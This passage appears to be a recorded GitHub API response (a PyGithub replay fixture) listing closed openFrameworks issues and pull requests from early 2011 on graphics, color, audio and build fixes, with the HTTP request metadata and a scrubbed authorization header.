invert_4x4(*this, inverse);\n\t}\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/332","comments":2,"milestone":null,"number":332,"html_url":"https://github.com/openframeworks/openFrameworks/issues/332","assignee":null,"title":"getInverse() method for ofMatrix4x4","labels":[],"closed_at":"2011-03-13T20:58:05Z","created_at":"2011-01-12T20:24:13Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":522953,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-12T19:17:48Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/331","comments":1,"milestone":null,"number":331,"html_url":"https://github.com/openframeworks/openFrameworks/issues/331","assignee":null,"title":"ofxCvBlob is using ofSetColor with hex - causes loads of warnings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-12T19:17:48Z","created_at":"2011-01-12T19:10:07Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":522790,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-21T22:14:35Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/329","comments":6,"milestone":null,"number":329,"html_url":"https://github.com/openframeworks/openFrameworks/issues/329","assignee":null,"title":"OpenCv 2.2 for linux","labels":[],"closed_at":"2011-03-21T14:39:13Z","created_at":"2011-01-12T19:09:17Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":522788,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-12T19:17:48Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/328","comments":1,"milestone":null,"number":328,"html_url":"https://github.com/openframeworks/openFrameworks/issues/328","assignee":null,"title":"OpenCv 2.2 for OSX","labels":[],"closed_at":"2011-01-12T19:17:48Z","created_at":"2011-01-12T19:08:56Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":522787,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-12T19:40:44Z","body":"added some 3d geometry, integrated with ofStyle.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/327","comments":0,"milestone":null,"number":327,"html_url":"https://github.com/openframeworks/openFrameworks/issues/327","assignee":null,"title":"ofCube(), ofSphere(), ofSetSphereResolution()","labels":[],"closed_at":"2011-01-12T19:40:44Z","created_at":"2011-01-12T18:29:29Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":522698,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/327","patch_url":"https://github.com/openframeworks/openFrameworks/pull/327.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/327.diff"}},{"updated_at":"2011-03-13T21:54:57Z","body":"right now it just sets ofEnableAlphaBlending/ofDisableAlphaBlending\r\n\r\nit needs to be plugged into the new blend modes that anton added.\r\n\r\nin general it might be best for ofSetStyle to call currentStyle.applyStyle() so people see it when/if they add new things to ofStyle","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/326","comments":4,"milestone":null,"number":326,"html_url":"https://github.com/openframeworks/openFrameworks/issues/326","assignee":null,"title":"ofSetStyle should set blending mode","labels":[],"closed_at":"2011-03-14T03:48:53Z","created_at":"2011-01-12T17:39:37Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":522594,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-14T03:11:27Z","body":"a lot is included in ofx3dUtils https://code.google.com/p/ofx3dutils/source/browse/trunk/ofx3DUtils/src/ofx3DGraphics.h?r=36\r\n\r\ni think the two key geometries are sphere and box.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/323","comments":2,"milestone":null,"number":323,"html_url":"https://github.com/openframeworks/openFrameworks/issues/323","assignee":null,"title":"basic 3d geometry is missing from OF","labels":[],"closed_at":"2011-01-14T03:11:27Z","created_at":"2011-01-12T03:30:55Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":521135,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-19T22:08:21Z","body":"\r\nremoved ofxShader - now is ofShader...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/322","comments":0,"milestone":null,"number":322,"html_url":"https://github.com/openframeworks/openFrameworks/issues/322","assignee":null,"title":"fixed the geometry shader example","labels":[],"closed_at":"2011-01-19T22:08:21Z","created_at":"2011-01-12T02:55:16Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":521091,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/322","patch_url":"https://github.com/openframeworks/openFrameworks/pull/322.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/322.diff"}},{"updated_at":"2011-01-12T03:00:41Z","body":"we're up to speed with processing's conversion functions.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/321","comments":0,"milestone":null,"number":321,"html_url":"https://github.com/openframeworks/openFrameworks/issues/321","assignee":null,"title":"all remaining conversion functions added with test example","labels":[],"closed_at":"2011-01-12T03:00:41Z","created_at":"2011-01-12T02:19:04Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":521044,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/321","patch_url":"https://github.com/openframeworks/openFrameworks/pull/321.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/321.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=28&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '29175'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"00cfe693b345a28d96b3357fcf373aeb"'), ('date', 'Tue, 29 May 2012 18:46:49 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-02-14T20:21:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/320","comments":3,"milestone":null,"number":320,"html_url":"https://github.com/openframeworks/openFrameworks/issues/320","assignee":null,"title":"ofBackground( 255 ) shouldn't be using hex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-02-14T20:21:42Z","created_at":"2011-01-11T23:10:48Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":520796,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-11T23:21:41Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/319","comments":1,"milestone":null,"number":319,"html_url":"https://github.com/openframeworks/openFrameworks/issues/319","assignee":null,"title":"#include in ofURLFileLoader.cpp - isn't needed / or found on os x prob win too","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-11T23:21:41Z","created_at":"2011-01-11T22:46:16Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":520738,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-11T20:47:01Z","body":"bool\t\tofInsideRect(const ofPoint & p, const ofRectangle & rect);\r\nbool\t\tofInsideRect(float x, float y, const ofRectangle & rect);\r\nbool\t\tofInsideRect(float x, float y, float rx, float ry, float rw, float rh);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/318","comments":0,"milestone":null,"number":318,"html_url":"https://github.com/openframeworks/openFrameworks/issues/318","assignee":null,"title":"added ofInsideRect(...)","labels":[],"closed_at":"2011-01-11T20:47:01Z","created_at":"2011-01-11T20:33:13Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vanderlin","id":149997},"id":520463,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/318.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/318","patch_url":"https://github.com/openframeworks/openFrameworks/pull/318.patch"}},{"updated_at":"2011-03-13T20:42:33Z","body":"bool\t\tofInsideRect(const ofPoint & p, const ofRectangle & rect);\r\nbool\t\tofInsideRect(float x, float y, const ofRectangle & rect);\r\nbool\t\tofInsideRect(float x, float y, float rx, float ry, float rw, float rh);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/317","comments":1,"milestone":null,"number":317,"html_url":"https://github.com/openframeworks/openFrameworks/issues/317","assignee":null,"title":"need to add ofInsideRect(...)","labels":[],"closed_at":"2011-03-13T20:42:33Z","created_at":"2011-01-11T20:28:14Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vanderlin","id":149997},"id":520454,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-11T20:46:17Z","body":"this adds ofMutex and fixes an occasional hang on exit in ofSoundStream","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/316","comments":0,"milestone":null,"number":316,"html_url":"https://github.com/openframeworks/openFrameworks/issues/316","assignee":null,"title":"ofMutex / ofSoundStream hang on exit","labels":[],"closed_at":"2011-01-11T20:46:17Z","created_at":"2011-01-11T18:55:28Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":520256,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/316.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/316","patch_url":"https://github.com/openframeworks/openFrameworks/pull/316.patch"}},{"updated_at":"2011-01-11T18:12:18Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/315","comments":1,"milestone":null,"number":315,"html_url":"https://github.com/openframeworks/openFrameworks/issues/315","assignee":null,"title":"move ofxVectorMath to core","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2011-01-11T18:12:18Z","created_at":"2011-01-11T18:11:31Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":520122,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-11T16:55:44Z","body":"fixed some things with ofToString, templated functions so they're more generic, added more conversion from string functions. still have a few conversion functions left to add.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/314","comments":0,"milestone":null,"number":314,"html_url":"https://github.com/openframeworks/openFrameworks/issues/314","assignee":null,"title":"starting work on ofUtils conversion utilities","labels":[],"closed_at":"2011-01-11T16:55:44Z","created_at":"2011-01-11T02:36:38Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":518853,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/314.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/314","patch_url":"https://github.com/openframeworks/openFrameworks/pull/314.patch"}},{"updated_at":"2011-01-11T01:41:20Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/313","comments":1,"milestone":null,"number":313,"html_url":"https://github.com/openframeworks/openFrameworks/issues/313","assignee":null,"title":"move ofxThread to core","labels":[],"closed_at":"2011-01-11T01:41:20Z","created_at":"2011-01-11T01:07:57Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":518702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-11T00:25:31Z","body":"also repairs the examples to work (pulls in examples from 0062)\r\nfont example is a little broken.\r\nadvanced graphics example also shows how to use antialiasing and depth and retina","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/312","comments":0,"milestone":null,"number":312,"html_url":"https://github.com/openframeworks/openFrameworks/issues/312","assignee":null,"title":"adds depth buffer, antialiasing, and retina support options to ofxiPhone","labels":[],"closed_at":"2011-01-11T00:25:31Z","created_at":"2011-01-10T23:03:00Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"stfj","id":177578},"id":518480,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/312.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/312","patch_url":"https://github.com/openframeworks/openFrameworks/pull/312.patch"}},{"updated_at":"2011-01-11T00:58:45Z","body":"This commit adds ofEnableBlendMode, with OF_BLENDMODE_ALPHA, OF_BLENDMODE_ADD, OF_BLENDMODE_MULTIPLY, OF_BLENDMODE_SUBTRACT and OF_BLENDMODE_SCREEN photoshop style blending via the fixed function GL glBlendFunc and glBlendEquation. Extended ofStyle to accommodate the changes.\r\n\r\nofEnableAlphaBlending and ofDisableAlphaBlending now using the ofEnableBlendMode functions internally.\r\n\r\nThese changes have been vetted against Photoshop, and look correct.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/310","comments":0,"milestone":null,"number":310,"html_url":"https://github.com/openframeworks/openFrameworks/issues/310","assignee":null,"title":"New ofEnableBlendMode support.","labels":[],"closed_at":"2011-01-11T00:58:45Z","created_at":"2011-01-10T19:46:32Z","state":"closed","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vade","id":65011},"id":518077,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/310.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/310","patch_url":"https://github.com/openframeworks/openFrameworks/pull/310.patch"}},{"updated_at":"2011-01-10T20:02:06Z","body":"also one update to ofRandom","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/309","comments":0,"milestone":null,"number":309,"html_url":"https://github.com/openframeworks/openFrameworks/issues/309","assignee":null,"title":"ofColor updates","labels":[],"closed_at":"2011-01-10T20:02:06Z","created_at":"2011-01-10T19:16:07Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":518027,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/309.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/309","patch_url":"https://github.com/openframeworks/openFrameworks/pull/309.patch"}},{"updated_at":"2011-12-02T15:05:54Z","body":"I think some people were having this issue on 62, I think that it isn't present on 61.\r\n\r\nTo reproduce:\r\nLaunch the audio output example.\r\nAttempt to quit using command+q\r\nThe app will hang at this point\r\nIf you force quit the app, you will get the following dump to the debugger:\r\n\r\n 0\t0x93c6b142 in semaphore_wait_signal_trap\r\n 1\t0x93c98cfc in _pthread_cond_wait\r\n 2\t0x93ce146f in pthread_cond_wait\r\n 3\t0x0001d234 in RtApiCore::stopStream at RtAudio.cpp:1340\r\n 4\t0x00009296 in RtAudio::closeStream at RtAudio.h:143\r\n 5\t0x00009296 in ofSoundStreamClose at ofSoundStream.cpp:144\r\n 6\t0x00007ea7 in ofExitCallback at ofAppRunner.cpp:55\r\n\r\nIt seems that adding the ofSoundStreamClose in the exit callback is what is causing this. Closing the stream is not totally necessary, because it is implicitly closed in the RtAudio destructor function.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/308","comments":3,"milestone":null,"number":308,"html_url":"https://github.com/openframeworks/openFrameworks/issues/308","assignee":null,"title":"rtaudio hang on exit.","labels":[],"closed_at":"2011-12-02T15:05:54Z","created_at":"2011-01-10T18:09:41Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jonbro","id":1597},"id":517872,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T18:15:44Z","body":"This adds a basic automake-based build which serves two purposes:\r\n\r\n- Allows generation of a source tarball which does not include any of the included upstream binary library versions.\r\n- Produces a 'make install' version of OF for ease of packaging.\r\n\r\nThe end goal being a packaged version of OF that's in the debian main repository (although obviously not in squeeze) and in Ubuntu (likely not by natty, but probably by natty+1)\r\n\r\nI just did basic automake here and did not go full-on pandora-build or anything like that, as the only real expected user of this would be people on modern ubuntu. I _was_ looking/poking at the cmake branch earlier, but since the make dist and make install targets in that system are so mind-numbingly borked, and since this isn't intended to replace your full build system, I just went back to actually-functional autotools.\r\n\r\nIn any case - it passes make distcheck, and builds all of OF and most addons (except for iphone specific ones) on Ubuntu using all system-installed libraries (although it would be slightly harder for you to verify that since two of the dep packages are stuck in the debian new queue and I just have them installed locally :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/307","comments":5,"milestone":null,"number":307,"html_url":"https://github.com/openframeworks/openFrameworks/issues/307","assignee":null,"title":"Automake build files - to help with clean src tarball and install","labels":[],"closed_at":"2012-02-25T18:15:44Z","created_at":"2011-01-10T08:00:59Z","state":"closed","user":{"url":"https://api.github.com/users/emonty","gravatar_id":"70046f765dfa1f330e61066dda4351bb","avatar_url":"https://secure.gravatar.com/avatar/70046f765dfa1f330e61066dda4351bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"emonty","id":95156},"id":516913,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/307.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/307","patch_url":"https://github.com/openframeworks/openFrameworks/pull/307.patch"}},{"updated_at":"2011-07-06T18:34:50Z","body":"A small patch which fixes inclusion of files from oscpack. When using the (newly created) debian package of oscpack rather than the one found in tree (as one would do when packaging OF itself), there is no sensible way to add the subdirs of /usr/include/ospack to the include path, as oscpack does not ship with a pkg-config file.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/306","comments":0,"milestone":null,"number":306,"html_url":"https://github.com/openframeworks/openFrameworks/issues/306","assignee":null,"title":"Fix oscpack relpath","labels":[],"closed_at":"2011-07-06T18:34:50Z","created_at":"2011-01-10T07:41:52Z","state":"closed","user":{"url":"https://api.github.com/users/emonty","gravatar_id":"70046f765dfa1f330e61066dda4351bb","avatar_url":"https://secure.gravatar.com/avatar/70046f765dfa1f330e61066dda4351bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"emonty","id":95156},"id":516895,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/306.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/306","patch_url":"https://github.com/openframeworks/openFrameworks/pull/306.patch"}},{"updated_at":"2011-01-10T20:01:58Z","body":"any kind of ofColor::set() or ofColor::setHex() will override your alpha value with 255 if you don't specify otherwise.\r\n\r\nthe solution should simply set your alpha value if you specify it, or don't touch it if you don't specify it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/304","comments":2,"milestone":null,"number":304,"html_url":"https://github.com/openframeworks/openFrameworks/issues/304","assignee":null,"title":"handling of alpha values is counter intuitive in ofColor","labels":[],"closed_at":"2011-01-10T20:01:58Z","created_at":"2011-01-10T03:38:20Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":516630,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T20:01:58Z","body":"it's doing very wrong math at the moment, involving + 8s and + 16s instead of 8/16 bit bit shifts.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/303","comments":1,"milestone":null,"number":303,"html_url":"https://github.com/openframeworks/openFrameworks/issues/303","assignee":null,"title":"ofColor::getHex() is absurdly broken","labels":[],"closed_at":"2011-01-10T20:01:58Z","created_at":"2011-01-10T03:16:55Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":516610,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-31T10:55:49Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/301","comments":2,"milestone":null,"number":301,"html_url":"https://github.com/openframeworks/openFrameworks/issues/301","assignee":null,"title":"poco-1.4.0 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-01-31T10:55:49Z","created_at":"2011-01-10T02:38:56Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":516564,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-11T00:52:19Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/300","comments":1,"milestone":null,"number":300,"html_url":"https://github.com/openframeworks/openFrameworks/issues/300","assignee":null,"title":"poco-1.4.0 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":"2011-01-11T00:52:19Z","created_at":"2011-01-10T02:38:32Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":516562,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-03T19:03:37Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/297","comments":1,"milestone":null,"number":297,"html_url":"https://github.com/openframeworks/openFrameworks/issues/297","assignee":null,"title":"FreeImage 3141 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-06-03T19:03:37Z","created_at":"2011-01-10T02:37:25Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":516557,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T20:01:58Z","body":"getBrightness() returns a value between 0 and 1, this is inconsistent with the rest of ofColor","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/295","comments":1,"milestone":null,"number":295,"html_url":"https://github.com/openframeworks/openFrameworks/issues/295","assignee":null,"title":"getBrightness() returns a normalized value","labels":[],"closed_at":"2011-01-10T20:01:58Z","created_at":"2011-01-09T23:27:51Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":516331,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T05:11:26Z","body":"printf is being used instead of cout, and it isn't being used correctly:\n\t\n\tprintf(\"NavCreatePutFileDialog returned %i\\n\", err );\n\tprintf(\"NavDialogRun returned %i\\n\", err );\n\tprintf(\"got action %i\\n\", action);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/294","comments":5,"milestone":null,"number":294,"html_url":"https://github.com/openframeworks/openFrameworks/issues/294","assignee":null,"title":"ofSystemUtils causes 